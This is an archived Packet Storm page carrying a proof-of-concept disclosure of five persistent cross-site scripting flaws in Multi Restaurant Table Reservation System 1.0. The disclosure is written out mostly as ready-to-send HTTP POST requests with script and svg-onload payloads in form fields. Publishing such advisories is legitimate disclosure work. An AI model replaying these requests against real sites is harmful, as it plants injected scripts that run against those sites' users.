

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

Top Authors In Last 30 Days

Red Hat 150 files
Ubuntu 68 files
LiquidWorm 23 files
Debian 16 files
malvuln 11 files
nu11security 11 files
Gentoo 9 files
Google Security Research 6 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)	December 2022
Advisory (79,754)	November 2022
Arbitrary (15,694)	October 2022
BBS (2,859)	September 2022
Bypass (1,619)	August 2022
CGI (1,018)	July 2022
Code Execution (8,926)	June 2022
Conference (673)	May 2022
Cracker (840)	April 2022
CSRF (3,290)	March 2022
DoS (22,602)	February 2022
Encryption (2,349)	January 2022
Exploit (50,359)	Older

File Inclusion (4,165)

File Upload (946)

Firewall (821)

Info Disclosure (2,660)

Intrusion Detection (867)

Java (2,899)

JavaScript (821)

Kernel (6,291)

Local (14,201)

Magazine (586)

Overflow (12,419)

Perl (1,418)

PHP (5,093)

Proof of Concept (2,291)

Protocol (3,435)

Python (1,467)

Remote (30,044)

Root (3,504)

Ruby (594)

Scanner (1,631)

Security Tool (7,777)

Shell (3,103)

Shellcode (1,204)

Sniffer (886)

File Archives

December 2022

November 2022

October 2022

September 2022

August 2022

July 2022

June 2022

May 2022

April 2022

March 2022

February 2022

January 2022

Older

Systems

AIX (426)

Apple (1,926)

BSD (370)

CentOS (55)

Cisco (1,917)

Debian (6,634)

Fedora (1,600)

FreeBSD (1,242)

Gentoo (4,272)

HPUX (878)

IOS (330)

iPhone (108)

IRIX (220)

Juniper (67)

Linux (44,315)

Mac OS X (684)

Mandriva (3,105)

NetBSD (255)

OpenBSD (479)

RedHat (12,469)

Slackware (941)

Solaris (1,607)

Multi Restaurant Table Reservation System 1.0 Cross Site Scripting

Authored by [yunaranyancat](#)

Posted [Nov 2, 2020](#)

Multi Restaurant Table Reservation System version 1.0 suffers from multiple persistent cross site scripting vulnerabilities.

tags | [exploit](#), [vulnerability](#), [xss](#)

SHA-256 | [d89b16c70cef2c278a312fb7085b95a157aa530375424a0d44c73275188db1e8](#)
[Download](#) | [Favorite](#) | [View](#)

Related Files

Share This

Like

Twef

[LinkedIn](#)

[Reddit](#)

[Digg](#)

[StumbleUpon](#)

Change Mirror Download
<pre># Exploit Title: Multi Restaurant Table Reservation System - Multiple Persistent XSS # Date: 01-11-2020 # Exploit Author: yunaranyancat # Vendor Homepage: https://www.sourcecodester.com # Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/tablereservation.zip # Version: 1.0 # Tested on: Ubuntu 18.04 + XAMPP 7.4.11 Summary: Multiple Persistent Cross-site Scripting in Multi Restaurant Table Reservation System allows attacker to gain sensitive information using these vulnerabilities. # POC No.1 Persistent XSS vulnerability at /dashboard/profile.php triggered by adding payload in Restaurant Name field ### Sample request POC #1 POST /TableReservation/dashboard/profile.php HTTP/1.1 Host: [TARGET URL/IP] User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://[TARGET URL/IP]/TableReservation/dashboard/profile.php Content-Type: application/x-www-form-urlencoded Content-Length: 122 Cookie: PHPSESSID=0095837d1f0f69aac35a0bf2f70193c DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 fullname=%3Cscript%3Ealert%28%29%3C%2Fscript%3E&email=1ol%40lol%phone=123456789&area=1&address=1ol&password=1ol # POC No.2 Persistent XSS vulnerability at /dashboard/table-list.php triggered by adding payload in Table Name field in table-add.php ### Sample request POC #2 POST /TableReservation/dashboard/manage-insert.php HTTP/1.1 Host: [TARGET URL/IP] User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://[TARGET URL/IP]/TableReservation/dashboard/table-add.php Content-Type: multipart/form-data; boundary=-----424640138424818065256966622 Content-Length: 321 Cookie: PHPSESSID=d464c277434e6f2cf435f59a368b090 Connection: close Upgrade-Insecure-Requests: 1 -----424640138424818065256966622 Content-Disposition: form-data; name="tablename" <script>alert("XSS")</script> -----424640138424818065256966622 Content-Disposition: form-data; name="addtable" Add Table -----424640138424818065256966622-- # POC No. 3 Persistent XSS vulnerability at /dashboard/menu-list.php triggered by adding payload in Item Name field in menu-add.php # POC No. 4 Persistent XSS vulnerability at /dashboard/menu-list.php triggered by adding payload in Made by field in menu-add.php # POC No. 5 Persistent XSS vulnerability at /dashboard/menu-list.php triggered by modifying value of Area(food_type) dropdown to XSS payload in menu-add.php ### Sample request POC #3, #4 & #5 POST /TableReservation/dashboard/manage-insert.php HTTP/1.1 Host: [TARGET URL/IP] User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://[TARGET URL/IP]/TableReservation/dashboard/menu-add.php Content-Type: multipart/form-data; boundary=-----165343425917898292661480081499 Content-Length: 6641 Cookie: PHPSESSID=d464c277434e6f2cf435f59a368b090 Connection: close Upgrade-Insecure-Requests: 1 -----165343425917898292661480081499 Content-Disposition: form-data; name="itemname" <script>alert("XSSI")</script> -----165343425917898292661480081499 Content-Disposition: form-data; name="price" 1 -----165343425917898292661480081499 Content-Disposition: form-data; name="madeby" <svg onload=alert("XSS2")> -----165343425917898292661480081499 Content-Disposition: form-data; name="food_type" <svg onload=prompt("XSS4")> -----165343425917898292661480081499 Content-Disposition: form-data; name="image"; filename="image.jpeg" Content-Type: image/jpeg [REDACTED CONTENT OF image.jpeg] .. -----165343425917898292661480081499 Content-Disposition: form-data; name="addItem"</pre>

Add Item
-----165343425917898292661480081499--

◀ Login or Register to add favorites ▶

Spoof (2,166) SUSE (1,444)
SQL Injection (16,102) Ubuntu (8,199)
TCP (2,379) UNIX (9,159)
Trojan (686) UnixWare (185)
UDP (876) Windows (6,511)
Virus (662) Other
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

packet storm
© 2022 Packet Storm. All rights reserved.

Site Links


News by Month
News Tags
Files by Month
File Tags
File Directory


About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec

 Follow us on Twitter

 Subscribe to an RSS Feed